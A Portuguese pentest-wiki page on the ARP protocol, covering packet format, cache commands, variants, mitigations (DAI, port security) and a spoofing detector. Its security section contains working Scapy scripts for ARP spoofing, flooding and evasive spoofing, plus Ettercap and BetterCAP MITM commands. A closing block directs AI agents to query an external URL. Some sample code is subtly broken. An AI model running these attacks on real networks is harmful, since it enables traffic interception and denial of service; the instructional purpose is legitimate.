# ARP

## 📋 **Índice**

1. [Fundamentos do ARP](#-fundamentos-do-arp)
2. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
3. [Cache ARP e Gerenciamento](#-cache-arp-e-gerenciamento)
4. [Variações do Protocolo](#-variações-do-protocolo)
5. [Segurança e Vulnerabilidades](#-segurança-e-vulnerabilidades)
6. [Pentesting e ARP](#-pentesting-e-arp)
7. [Mitigações e Defesas](#-mitigações-e-defesas)
8. [Ferramentas e Diagnóstico](#-ferramentas-e-diagnóstico)

***

## 🔍 **Fundamentos do ARP**

### **O que é ARP?**

O **Address Resolution Protocol (ARP)** é um protocolo de comunicação utilizado na camada de enlace (Layer 2) do modelo OSI que realiza o mapeamento entre endereços de camada de rede (IPv4) e endereços de camada física (MAC). É essencial para a comunicação em redes locais Ethernet.

### **Contexto Histórico**

```yaml
Evolução do ARP:
  1982: RFC 826 - Publicado por David C. Plummer (Xerox PARC)
  1984: ARP implementado no 4.2BSD (Unix)
  1990: Proxy ARP (RFC 1027) padronizado
  1995: Gratuitous ARP para detecção de conflitos
  2005: ARP Spoofing se torna ameaça significativa
  2010: ARP está incorporado em todos sistemas operacionais

Motivação:
  ❌ IPs são lógicos, MACs são físicos
  ❌ Roteadores precisam conhecer MACs para encaminhar frames
  ❌ Comunicação direta entre hosts na mesma LAN
  ✅ ARP resolve dinamicamente sem configuração manual
```

### **Importância do ARP**

| Aspecto                | Descrição                                           | Impacto     |
| ---------------------- | --------------------------------------------------- | ----------- |
| **Conectividade**      | Permite comunicação entre dispositivos na mesma LAN | Essencial   |
| **Eficiência**         | Cache reduz tráfego de broadcast                    | Performance |
| **Plug-and-Play**      | Descobrimento automático de vizinhos                | Usabilidade |
| **Interoperabilidade** | Funciona com qualquer protocolo L3 sobre Ethernet   | Universal   |

***

## 🏗️ **Arquitetura e Funcionamento**

### **Estrutura do Pacote ARP**

```python
# Estrutura completa do pacote ARP
class ARPPacket:
    def __init__(self):
        self.htype = 0x0001        # Hardware Type (Ethernet = 1)
        self.ptype = 0x0800        # Protocol Type (IPv4 = 0x0800)
        self.hlen = 6               # Hardware Address Length (MAC = 6)
        self.plen = 4               # Protocol Address Length (IPv4 = 4)
        self.oper = 1               # Operation (1=Request, 2=Reply)
        self.sha = None             # Sender Hardware Address (MAC)
        self.spa = None             # Sender Protocol Address (IP)
        self.tha = None             # Target Hardware Address (MAC)
        self.tpa = None             # Target Protocol Address (IP)

# Representação em bytes
def build_arp_packet(sender_mac, sender_ip, target_ip, operation=1):
    """
    Construir pacote ARP
    operation: 1 = Request, 2 = Reply
    """
    import struct
    
    # Hardware Type (Ethernet), Protocol Type (IPv4)
    packet = struct.pack('!HHBBH', 1, 0x0800, 6, 4, operation)
    
    # Sender MAC (6 bytes)
    sender_mac_bytes = bytes.fromhex(sender_mac.replace(':', ''))
    packet += sender_mac_bytes
    
    # Sender IP (4 bytes)
    sender_ip_bytes = socket.inet_aton(sender_ip)
    packet += sender_ip_bytes
    
    # Target MAC (6 bytes) - Em Request, normalmente zeros
    if operation == 1:  # Request
        target_mac_bytes = b'\x00\x00\x00\x00\x00\x00'
    else:  # Reply
        target_mac_bytes = bytes.fromhex(target_mac.replace(':', ''))
    packet += target_mac_bytes
    
    # Target IP (4 bytes)
    target_ip_bytes = socket.inet_aton(target_ip)
    packet += target_ip_bytes
    
    return packet
```

### **Fluxo Completo ARP Request/Reply**

```mermaid
sequenceDiagram
    participant A as Host A<br/>192.168.1.10<br/>MAC: AA:AA:AA:AA:AA:AA
    participant B as Host B<br/>192.168.1.20<br/>MAC: BB:BB:BB:BB:BB:BB
    participant C as Host C<br/>192.168.1.30<br/>MAC: CC:CC:CC:CC:CC:CC

    Note over A: ARP Cache: [192.168.1.1 → ?]

    A->>B: ARP Request (Broadcast)<br/>"Quem tem 192.168.1.20?"
    A->>C: ARP Request (Broadcast)<br/>"Quem tem 192.168.1.20?"
    Note over A: Destino: FF:FF:FF:FF:FF:FF
    Note over A: Sender MAC: AA:AA:AA:AA:AA:AA
    Note over A: Target IP: 192.168.1.20

    B->>A: ARP Reply (Unicast)<br/>"Eu tenho! Meu MAC é BB:BB:BB:BB:BB:BB"
    Note over B: Destino: AA:AA:AA:AA:AA:AA
    Note over B: Sender MAC: BB:BB:BB:BB:BB:BB

    A->>A: Atualiza Cache ARP
    Note over A: 192.168.1.20 → BB:BB:BB:BB:BB:BB

    A->>B: Tráfego de dados (Unicast)
```

### **ARP Request Detalhado**

```python
# ARP Request em formato de pacote
def analyze_arp_request():
    """
    Análise de um pacote ARP Request capturado
    """
    arp_request = {
        'Ethernet Header': {
            'Destination': 'FF:FF:FF:FF:FF:FF',  # Broadcast
            'Source': 'AA:AA:AA:AA:AA:AA',
            'Type': '0x0806'  # ARP
        },
        'ARP Header': {
            'Hardware Type': 'Ethernet (1)',
            'Protocol Type': 'IPv4 (0x0800)',
            'Hardware Size': '6 bytes',
            'Protocol Size': '4 bytes',
            'Opcode': 'Request (1)',
            'Sender MAC': 'AA:AA:AA:AA:AA:AA',
            'Sender IP': '192.168.1.10',
            'Target MAC': '00:00:00:00:00:00',  # Desconhecido
            'Target IP': '192.168.1.20'
        }
    }
    return arp_request
```

### **ARP Reply Detalhado**

```python
def analyze_arp_reply():
    """
    Análise de um pacote ARP Reply capturado
    """
    arp_reply = {
        'Ethernet Header': {
            'Destination': 'AA:AA:AA:AA:AA:AA',  # Unicast
            'Source': 'BB:BB:BB:BB:BB:BB',
            'Type': '0x0806'  # ARP
        },
        'ARP Header': {
            'Hardware Type': 'Ethernet (1)',
            'Protocol Type': 'IPv4 (0x0800)',
            'Hardware Size': '6 bytes',
            'Protocol Size': '4 bytes',
            'Opcode': 'Reply (2)',
            'Sender MAC': 'BB:BB:BB:BB:BB:BB',
            'Sender IP': '192.168.1.20',
            'Target MAC': 'AA:AA:AA:AA:AA:AA',
            'Target IP': '192.168.1.10'
        }
    }
    return arp_reply
```

***

## 💾 **Cache ARP e Gerenciamento**

### **Estrutura da Tabela ARP**

```python
# Representação da tabela ARP
class ARPCache:
    def __init__(self):
        self.entries = {}  # IP -> ARPEntry
        self.max_age = 300  # 5 minutos (padrão)
    
    class ARPEntry:
        def __init__(self, ip, mac, interface, flags):
            self.ip = ip
            self.mac = mac
            self.interface = interface
            self.flags = flags  # PERMANENT, INCOMPLETE, REACHABLE
            self.timestamp = time.time()
    
    def add_entry(self, ip, mac, interface, flags='REACHABLE'):
        """Adicionar entrada ao cache"""
        self.entries[ip] = self.ARPEntry(ip, mac, interface, flags)
    
    def get_mac(self, ip):
        """Buscar MAC para IP"""
        if ip in self.entries:
            entry = self.entries[ip]
            # Verificar se expirou
            if time.time() - entry.timestamp < self.max_age:
                return entry.mac
            else:
                del self.entries[ip]
        return None
    
    def flush(self):
        """Limpar cache ARP"""
        self.entries.clear()
    
    def display(self):
        """Exibir tabela ARP formatada"""
        print(f"{'IP Address':<20} {'MAC Address':<20} {'Interface':<12} {'Status':<12}")
        print("-" * 64)
        
        for entry in self.entries.values():
            status = 'Permanent' if entry.flags == 'PERMANENT' else 'Dynamic'
            print(f"{entry.ip:<20} {entry.mac:<20} {entry.interface:<12} {status:<12}")
```

### **Comandos Práticos**

#### **Windows**

```cmd
# Ver tabela ARP completa
arp -a

# Ver interface específica
arp -a -N 192.168.1.1

# Adicionar entrada estática (Admin)
arp -s 192.168.1.100 AA-BB-CC-DD-EE-FF

# Remover entrada
arp -d 192.168.1.100

# Limpar cache ARP completo
netsh interface ip delete arpcache

# Ver estatísticas ARP
netsh interface ip show ipstats | find "ARP"
```

#### **Linux**

```bash
# Ver tabela ARP (formato legível)
arp -n
ip neigh show

# Ver detalhes com flags
arp -e
ip neigh show dev eth0

# Adicionar entrada estática
arp -s 192.168.1.100 AA:BB:CC:DD:EE:FF
ip neigh add 192.168.1.100 lladdr AA:BB:CC:DD:EE:FF nud permanent dev eth0

# Remover entrada
arp -d 192.168.1.100
ip neigh del 192.168.1.100 dev eth0

# Limpar cache ARP
ip neigh flush all
ip neigh flush dev eth0

# Monitorar mudanças ARP
arpwatch -i eth0
```

#### **macOS**

```bash
# Ver tabela ARP
arp -a
netstat -nr -f link

# Limpar cache
sudo arp -d -a
sudo route flush

# Adicionar entrada estática
sudo arp -s 192.168.1.100 AA:BB:CC:DD:EE:FF
```

### **Flags e Estados ARP**

| Flag/Estado    | Descrição                         | Sistema |
| -------------- | --------------------------------- | ------- |
| **PERMANENT**  | Entrada estática, não expira      | Todos   |
| **REACHABLE**  | Confirmado que responde           | Linux   |
| **STALE**      | Entrada expirada, não confirmada  | Linux   |
| **DELAY**      | Aguardando confirmação            | Linux   |
| **PROBE**      | Enviando probes ARP               | Linux   |
| **INCOMPLETE** | ARP Request enviado, sem resposta | Todos   |
| **FAILED**     | Resolução ARP falhou              | Linux   |

***

## 🔄 **Variações do Protocolo**

### **1. Gratuitous ARP (GARP)**

```python
def gratuitous_arp(interface, ip, mac):
    """
    Gratuitous ARP - Anunciar IP para detectar conflitos
    Usado quando:
    - Interface sobe
    - IP muda
    - HA failover
    """
    # Enviar ARP Request com SPA = TPA = próprio IP
    packet = build_arp_packet(
        sender_mac=mac,
        sender_ip=ip,
        target_ip=ip,
        operation=1  # Request
    )
    
    send_arp_broadcast(interface, packet)
    
    # Também pode ser enviado como Reply não solicitado
    reply = build_arp_packet(
        sender_mac=mac,
        sender_ip=ip,
        target_mac='FF:FF:FF:FF:FF:FF',
        target_ip=ip,
        operation=2  # Reply
    )
    
    send_arp_broadcast(interface, reply)

# Aplicações:
# - Detecção de conflito de IP
# - Atualização de switches (MAC flapping)
# - Failover em clusters (VRRP, HSRP)
```

### **2. Proxy ARP**

```python
def proxy_arp(router_ip, router_mac, target_subnet):
    """
    Proxy ARP - Router responde por hosts em outra rede
    Útil para sub-redes sem roteamento configurado
    """
    def handle_arp_request(packet):
        # Verificar se é para rede que router conhece
        target_ip = packet['tpa']
        
        if is_in_subnet(target_ip, target_subnet):
            # Router responde com seu próprio MAC
            reply = build_arp_packet(
                sender_mac=router_mac,
                sender_ip=target_ip,  # Finge ser o host alvo
                target_mac=packet['sha'],
                target_ip=packet['spa'],
                operation=2
            )
            return reply
        return None

# Roteadores Cisco configuram via:
# interface GigabitEthernet0/0
# ip proxy-arp
```

### **3. Reverse ARP (RARP)**

```yaml
RARP (RFC 903):
  - Usado para obter IP a partir do MAC
  - Comum em diskless workstations
  - Substituído por BOOTP e DHCP
  - RARPL: Reverse ARP (obsoleto)
  
  Funcionamento:
    1. Dispositivo envia broadcast RARP Request
    2. Servidor RARP responde com IP
    3. Dispositivo configura IP recebido
```

### **4. Inverse ARP (InARP)**

```yaml
InARP (RFC 2390):
  - Usado em redes Frame Relay e ATM
  - Mapeia DLCI (MAC) para IP
  - Não usa broadcast
  - Frame Relay específico
```

### **5. ARP Probe**

```python
def arp_probe(ip, mac, interface):
    """
    ARP Probe - Verificar se IP está em uso
    Usado por DHCP antes de atribuir IP
    """
    # Enviar ARP Request com SPA = 0.0.0.0
    probe = build_arp_packet(
        sender_mac=mac,
        sender_ip='0.0.0.0',
        target_ip=ip,
        operation=1
    )
    
    send_arp_broadcast(interface, probe)
    
    # Se receber resposta, IP está em uso (conflito)
```

***

## 🔒 **Segurança e Vulnerabilidades**

### **Ameaças ARP**

```mermaid
graph TD
    A[Ameaças ARP] --> B[ARP Spoofing/Poisoning]
    A --> C[ARP Flooding]
    A --> D[ARP Cache Poisoning]
    A --> E[ARP Scanning]
    
    B --> B1[Man-in-the-Middle]
    B --> B2[DoS]
    B --> B3[Session Hijacking]
    
    C --> C1[Switch Overload]
    C --> C2[Network Congestion]
    
    D --> D1[Traffic Interception]
    D --> D2[Data Exfiltration]
    
    E --> E1[Network Mapping]
    E --> E2[Host Discovery]
```

### **Ataque 1: ARP Spoofing (Man-in-the-Middle)**

```python
#!/usr/bin/env python3
# arp_spoofing_demo.py - Demonstração educacional

from scapy.all import *
import time
import sys

class ARPSpoofer:
    def __init__(self, target_ip, gateway_ip, interface='eth0'):
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.interface = interface
        self.target_mac = None
        self.gateway_mac = None
    
    def get_mac(self, ip):
        """Obter MAC address via ARP"""
        arp_request = ARP(pdst=ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = broadcast / arp_request
        response = srp(packet, timeout=2, verbose=False)[0]
        
        if response:
            return response[0][1].hwsrc
        return None
    
    def spoof(self, target_ip, target_mac, spoof_ip):
        """Envenenar tabela ARP do alvo"""
        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                     psrc=spoof_ip)
        send(packet, verbose=False)
    
    def restore(self):
        """Restaurar tabelas ARP originais"""
        packet_target = ARP(op=2, pdst=self.target_ip,
                            hwdst=self.target_mac,
                            psrc=self.gateway_ip,
                            hwsrc=self.gateway_mac)
        
        packet_gateway = ARP(op=2, pdst=self.gateway_ip,
                             hwdst=self.gateway_mac,
                             psrc=self.target_ip,
                             hwsrc=self.target_mac)
        
        send(packet_target, count=3, verbose=False)
        send(packet_gateway, count=3, verbose=False)
    
    def start(self):
        """Iniciar ataque ARP spoofing"""
        # Obter MACs
        self.target_mac = self.get_mac(self.target_ip)
        self.gateway_mac = self.get_mac(self.gateway_ip)
        
        if not self.target_mac or not self.gateway_mac:
            print("❌ Não foi possível obter MACs")
            return
        
        print(f"🎯 Alvo: {self.target_ip} ({self.target_mac})")
        print(f"🌐 Gateway: {self.gateway_ip} ({self.gateway_mac})")
        print("🚀 Iniciando ARP spoofing...")
        
        try:
            while True:
                # Fazer alvo pensar que somos gateway
                self.spoof(self.target_ip, self.target_mac, self.gateway_ip)
                
                # Fazer gateway pensar que somos alvo
                self.spoof(self.gateway_ip, self.gateway_mac, self.target_ip)
                
                time.sleep(2)
                
        except KeyboardInterrupt:
            print("\n🔄 Restaurando tabelas ARP...")
            self.restore()
            print("✅ Ataque interrompido e tabelas restauradas")

# Uso (APENAS PARA TESTES AUTORIZADOS)
if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Uso: arp_spoofing.py <target_ip> <gateway_ip>")
        sys.exit(1)
    
    spoofer = ARPSpoofer(sys.argv[1], sys.argv[2])
    spoofer.start()
```

### **Ataque 2: ARP Flooding**

```python
def arp_flood_attack(target_ip, target_mac, count=1000):
    """
    ARP Flooding - Inundar switch com entradas ARP
    Causa:
    - Overload de tabela CAM do switch
    - Switch entra em modo fail-open (hub mode)
    - Todos os frames são broadcast
    """
    from scapy.all import *
    
    print(f"💧 Iniciando ARP Flood em {target_ip}")
    
    for i in range(count):
        # Gerar IPs e MACs aleatórios
        fake_ip = f"192.168.1.{i % 254}"
        fake_mac = f"aa:bb:cc:{i:02x}:{i+1:02x}:{i+2:02x}"
        
        # ARP Reply não solicitado
        arp_reply = ARP(
            op=2,
            hwsrc=fake_mac,
            psrc=fake_ip,
            hwdst=target_mac,
            pdst=target_ip
        )
        
        send(arp_reply, verbose=False)
        
        if i % 100 == 0:
            print(f"  {i} pacotes enviados")
    
    print("✅ Ataque concluído")
```

### **Ataque 3: ARP Cache Poisoning Detection Evasion**

```python
def stealth_arp_spoofing(target_ip, gateway_ip):
    """
    Técnicas de evasão para ARP spoofing:
    - Rate limiting para evitar detecção
    - Gratuitous ARP apenas durante tráfego
    - Spoofing apenas durante comunicações ativas
    """
    import time
    import random
    
    def is_traffic_active(ip):
        """Verificar se há tráfego ativo"""
        # Simplificado - na prática sniffing
        return random.choice([True, False])
    
    def send_stealth_arp(ip, mac, spoof_ip, delay):
        """Enviar ARP com atraso variável"""
        time.sleep(delay)
        packet = ARP(op=2, pdst=ip, hwdst=mac,
                     psrc=spoof_ip)
        send(packet, verbose=False)
    
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)
    
    while True:
        # Enviar apenas quando há tráfego
        if is_traffic_active(target_ip):
            # Atraso variável para evitar padrões
            delay = random.uniform(5, 15)
            
            send_stealth_arp(target_ip, target_mac, gateway_ip, delay)
            send_stealth_arp(gateway_ip, gateway_mac, target_ip, delay)
        else:
            time.sleep(30)  # Aguardar tráfego
```

***

## 🎯 **Pentesting e ARP**

### **Metodologia de Teste**

#### **Fase 1: Descoberta de Hosts**

```bash
# ARP Scan - Descobrir hosts na rede local
arp-scan --localnet
arp-scan 192.168.1.0/24

# Nmap ARP scan (mais eficiente)
nmap -sn -PR 192.168.1.0/24
nmap -sP 192.168.1.0/24  # Versão mais antiga

# Netdiscover
netdiscover -r 192.168.1.0/24
netdiscover -i eth0 -r 192.168.1.0/24 -p

# Arping para host específico
arping -c 3 192.168.1.1
```

#### **Fase 2: Mapeamento ARP**

```python
#!/usr/bin/env python3
# arp_mapper.py - Mapeamento de rede via ARP

from scapy.all import *
import threading
import queue

class ARPMapper:
    def __init__(self, network):
        self.network = network
        self.hosts = {}
        self.q = queue.Queue()
    
    def arp_request(self, ip):
        """Enviar ARP request e aguardar resposta"""
        arp = ARP(pdst=ip)
        ether = Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = ether / arp
        
        try:
            response = srp1(packet, timeout=2, verbose=False)
            if response:
                return {'ip': ip, 'mac': response.hwsrc}
        except:
            pass
        return None
    
    def worker(self):
        """Thread worker para ARP scanning"""
        while True:
            try:
                ip = self.q.get_nowait()
            except queue.Empty:
                break
            
            result = self.arp_request(ip)
            if result:
                self.hosts[ip] = result['mac']
            
            self.q.task_done()
    
    def scan(self, threads=50):
        """Executar scan com múltiplas threads"""
        print(f"🔍 Escaneando {self.network} via ARP...")
        
        # Gerar lista de IPs
        network = ipaddress.ip_network(self.network)
        for ip in network.hosts():
            self.q.put(str(ip))
        
        # Criar threads
        thread_list = []
        for _ in range(threads):
            t = threading.Thread(target=self.worker)
            t.start()
            thread_list.append(t)
        
        # Aguardar conclusão
        self.q.join()
        for t in thread_list:
            t.join()
        
        return self.hosts

# Uso
mapper = ARPMapper("192.168.1.0/24")
hosts = mapper.scan()

print(f"\n📊 Hosts encontrados: {len(hosts)}")
for ip, mac in hosts.items():
    print(f"  {ip} → {mac}")
```

#### **Fase 3: Teste de Vulnerabilidade ARP**

```python
def test_arp_vulnerabilities(network):
    """Testar vulnerabilidades ARP na rede"""
    vulnerabilities = []
    
    # 1. Testar ARP spoofing sem proteção
    print("🔍 Testando ARP spoofing...")
    
    # 2. Verificar DAI (Dynamic ARP Inspection)
    print("🔍 Verificando DAI...")
    
    # 3. Testar detecção de ARP flood
    print("🔍 Testando proteção contra ARP flood...")
    
    # 4. Verificar port security
    print("🔍 Verificando port security...")
    
    return vulnerabilities
```

### **Ferramentas Especializadas**

```bash
# Ettercap - Framework MITM
ettercap -T -M arp:remote /192.168.1.10/ /192.168.1.1/
ettercap -G  # Modo gráfico

# BetterCAP - Alternativa moderna
bettercap -eval "set arp.spoof.targets 192.168.1.10; arp.spoof on; net.sniff on"

# ARP-Scan
arp-scan --localnet
arp-scan --interface=eth0 --localnet

# Netdiscover
netdiscover -r 192.168.1.0/24

# Cain & Abel (Windows)
# Ferramenta clássica para ARP poisoning

# Wireshark para análise
tshark -i eth0 -Y "arp" -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac

# ArpON (ARP handler inspection)
arpon -d
```

***

## 🛡️ **Mitigações e Defesas**

### **1. Dynamic ARP Inspection (DAI)**

```cisco
! Configuração Cisco
! Habilitar DAI globalmente
ip arp inspection vlan 1,10,20

! Definir portas confiáveis (uplinks, servidores)
interface GigabitEthernet0/1
 ip arp inspection trust

! Configurar limites de taxa
interface GigabitEthernet0/2
 ip arp inspection limit rate 15

! Verificar estatísticas
show ip arp inspection
show ip arp inspection statistics
```

```python
# DAI funcionamento:
def dynamic_arp_inspection(packet, dhcp_snooping_bindings):
    """
    DAI valida ARP baseado em bindings DHCP Snooping
    """
    # Verificar se MAC e IP correspondem ao binding
    sender_mac = packet['sha']
    sender_ip = packet['spa']
    
    binding = dhcp_snooping_bindings.get(sender_ip)
    
    if binding and binding['mac'] == sender_mac:
        return True  # ARP válido
    else:
        return False  # ARP inválido - descartar
```

### **2. DHCP Snooping**

```cisco
! Configuração Cisco
ip dhcp snooping
ip dhcp snooping vlan 1,10,20

! Porta confiável (servidor DHCP)
interface GigabitEthernet0/1
 ip dhcp snooping trust

! Limite de taxa
interface GigabitEthernet0/2
 ip dhcp snooping limit rate 10

! Verificar bindings
show ip dhcp snooping binding
```

### **3. Port Security**

```cisco
! Configuração Cisco
interface GigabitEthernet0/2
 switchport port-security
 switchport port-security maximum 1
 switchport port-security violation shutdown
 switchport port-security mac-address sticky

! Verificar
show port-security
show port-security address
```

### **4. ARP Anti-Spoofing em Hosts**

```bash
# Linux - Configuração ARP segura
# /etc/sysctl.conf
net.ipv4.conf.all.arp_ignore = 1
net.ipv4.conf.all.arp_announce = 2
net.ipv4.conf.default.arp_ignore = 1
net.ipv4.conf.default.arp_announce = 2

# Aplicar configurações
sysctl -p

# iptables rule para limitar ARP
iptables -A INPUT -p arp -m limit --limit 10/second -j ACCEPT
iptables -A INPUT -p arp -j DROP
```

```powershell
# Windows - ARP static entries (Admin)
netsh interface ipv4 set neighbors "Ethernet" "192.168.1.1" "AA-BB-CC-DD-EE-FF"

# Configurar firewall
New-NetFirewallRule -DisplayName "Block ARP Spoofing" -Direction Inbound -Protocol ARP -Action Block
```

### **5. Detecção de ARP Spoofing**

```python
#!/usr/bin/env python3
# arp_detector.py - Detector de ARP spoofing

from scapy.all import *
import threading
import time

class ARPDetector:
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.arp_table = {}  # IP -> MAC
        self.suspicious_ips = {}
        self.running = True
    
    def detect_arp_anomaly(self, packet):
        """Detectar anomalias ARP"""
        if not packet.haslayer(ARP):
            return
        
        arp = packet[ARP]
        
        # ARP Reply não solicitado
        if arp.op == 2:  # Reply
            ip = arp.psrc
            mac = arp.hwsrc
            
            # Verificar se IP já tem MAC diferente
            if ip in self.arp_table:
                if self.arp_table[ip] != mac:
                    # Possível ARP spoofing!
                    self.suspicious_ips[ip] = {
                        'old_mac': self.arp_table[ip],
                        'new_mac': mac,
                        'timestamp': time.time(),
                        'count': self.suspicious_ips.get(ip, {}).get('count', 0) + 1
                    }
                    
                    print(f"⚠️  ALERTA: ARP spoofing detectado!")
                    print(f"   IP: {ip}")
                    print(f"   MAC anterior: {self.arp_table[ip]}")
                    print(f"   MAC novo: {mac}")
                    
                    # Atualizar tabela (spoofing pode ser legítimo?)
                    self.arp_table[ip] = mac
            
            # Novas entradas são normais
            elif ip not in self.arp_table:
                self.arp_table[ip] = mac
    
    def packet_handler(self, packet):
        """Handler de pacotes"""
        self.detect_arp_anomaly(packet)
    
    def start_detection(self):
        """Iniciar detecção"""
        print("🔍 Iniciando detecção de ARP spoofing...")
        
        try:
            sniff(iface=self.interface,
                  filter="arp",
                  prn=self.packet_handler,
                  store=0)
        except KeyboardInterrupt:
            print("\n🛑 Detecção interrompida")
            self.display_report()
    
    def display_report(self):
        """Exibir relatório"""
        print("\n📊 Relatório de Detecção:")
        print(f"Total de hosts: {len(self.arp_table)}")
        print(f"Alertas de spoofing: {len(self.suspicious_ips)}")
        
        for ip, data in self.suspicious_ips.items():
            print(f"\n⚠️  IP suspeito: {ip}")
            print(f"   MAC anterior: {data['old_mac']}")
            print(f"   MAC atual: {data['new_mac']}")
            print(f"   Detecções: {data['count']}")

# Uso
detector = ARPDetector("eth0")
detector.start_detection()
```

***

## 🔍 **Ferramentas e Diagnóstico**

### **Diagnóstico de Problemas ARP**

```python
#!/usr/bin/env python3
# arp_diagnostics.py

import subprocess
import platform
import socket
import sys

def get_arp_table():
    """Obter tabela ARP do sistema"""
    system = platform.system()
    
    if system == 'Windows':
        result = subprocess.run(['arp', '-a'], capture_output=True, text=True)
    elif system in ['Linux', 'Darwin']:  # Linux/Mac
        result = subprocess.run(['arp', '-n'], capture_output=True, text=True)
    else:
        return None
    
    return result.stdout

def arp_ping(ip):
    """Testar conectividade ARP"""
    try:
        import arping
        response = arping.arping(ip)
        return response
    except:
        # Fallback para arping system command
        result = subprocess.run(['arping', '-c', '1', ip], capture_output=True, text=True)
        return result.returncode == 0

def check_arp_duplicates(ip):
    """Verificar múltiplos MACs para um IP"""
    import scapy.all as scapy
    
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = broadcast / arp_request
    
    responses = scapy.srp(packet, timeout=2, verbose=False)[0]
    
    macs = set()
    for response in responses:
        macs.add(response[1].hwsrc)
    
    return macs

def diagnose_arp_issues():
    """Diagnosticar problemas ARP"""
    print("🔍 Diagnóstico ARP")
    print("-" * 50)
    
    # 1. Verificar tabela ARP
    print("\n1. Tabela ARP atual:")
    print(get_arp_table())
    
    # 2. Testar gateway
    gateway = get_default_gateway()
    print(f"\n2. Testando gateway: {gateway}")
    if arp_ping(gateway):
        print("   ✅ ARP para gateway funciona")
    else:
        print("   ❌ Falha no ARP para gateway")
    
    # 3. Verificar resolução DNS
    print("\n3. Verificando resolução DNS:")
    test_hosts = ['google.com', 'localhost']
    for host in test_hosts:
        try:
            ip = socket.gethostbyname(host)
            print(f"   ✅ {host} → {ip}")
        except:
            print(f"   ❌ {host} → Falha na resolução")
    
    # 4. Detectar duplicatas ARP
    local_ip = get_local_ip()
    print(f"\n4. Verificando duplicatas ARP para {local_ip}:")
    macs = check_arp_duplicates(local_ip)
    if len(macs) > 1:
        print(f"   ⚠️  Múltiplos MACs detectados: {macs}")
    else:
        print(f"   ✅ Único MAC: {macs}")

def get_default_gateway():
    """Obter gateway padrão"""
    system = platform.system()
    
    if system == 'Windows':
        result = subprocess.run(['ipconfig'], capture_output=True, text=True)
        for line in result.stdout.split('\n'):
            if 'Default Gateway' in line and ':' not in line:
                gateway = line.split(':')[-1].strip()
                if gateway and gateway != '0.0.0.0':
                    return gateway
    
    elif system == 'Linux':
        result = subprocess.run(['ip', 'route'], capture_output=True, text=True)
        for line in result.stdout.split('\n'):
            if 'default' in line:
                return line.split()[2]
    
    return None

def get_local_ip():
    """Obter IP local"""
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(('8.8.8.8', 1))
        ip = s.getsockname()[0]
    except:
        ip = '127.0.0.1'
    finally:
        s.close()
    return ip

# Executar diagnóstico
if __name__ == "__main__":
    diagnose_arp_issues()
```

### **Wireshark Filters para ARP**

```bash
# Filtros de exibição Wireshark
arp                    # Todos pacotes ARP
arp.opcode == 1        # ARP Requests
arp.opcode == 2        # ARP Replies
arp.src.proto_ipv4 == 192.168.1.1  # Requisições específicas
arp.duplicate-address-detected     # DAD detection
arp.isgratuitous == 1               # Gratuitous ARP

# Filtros de captura
arp                    # Capturar ARP
ether proto 0x0806     # Filtro ARP (hex)
not arp                # Excluir ARP
```

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
ARP é um protocolo fundamental que:
  ✅ Permite comunicação em redes Ethernet
  ✅ Opera sem configuração manual
  ✅ É rápido e eficiente
  ✅ Suporta múltiplas implementações

Desafios de segurança:
  ❌ Sem autenticação nativa
  ❌ Confia em respostas não solicitadas
  ❌ Vulnerável a spoofing e MITM
  ❌ Cache pode ser envenenado
```

### **Boas Práticas de Segurança**

1. **Configuração de Rede**
   * Implementar Dynamic ARP Inspection (DAI)
   * Habilitar DHCP Snooping
   * Configurar Port Security
   * Usar VLANs para segmentação
2. **Hardening de Hosts**
   * Configurar entradas ARP estáticas para gateways
   * Monitorar tabela ARP regularmente
   * Usar firewalls com filtros ARP
   * Implementar detecção de spoofing
3. **Monitoramento**
   * Logging centralizado de eventos ARP
   * Alertas para mudanças frequentes
   * Análise de padrões suspeitos
   * Integração com SIEM
4. **Para Pentesters**
   * Sempre testar ARP spoofing em redes locais
   * Documentar falta de proteções ARP
   * Usar ARP para descoberta de hosts
   * Considerar ARP como vetor inicial

### **Alternativas Modernas**

```yaml
Protocolos mais seguros que ARP:
  
  ND (Neighbor Discovery) - IPv6:
    - SEND (Secure Neighbor Discovery)
    - Criptografia e autenticação
    - Previne spoofing
  
  802.1X (Port-Based Authentication):
    - Autenticação antes de acesso à rede
    - Previne dispositivos não autorizados
  
  NAC (Network Access Control):
    - Controle granular de acesso
    - Postura de segurança verificada
    - Isolamento de dispositivos comprometidos
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/arp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
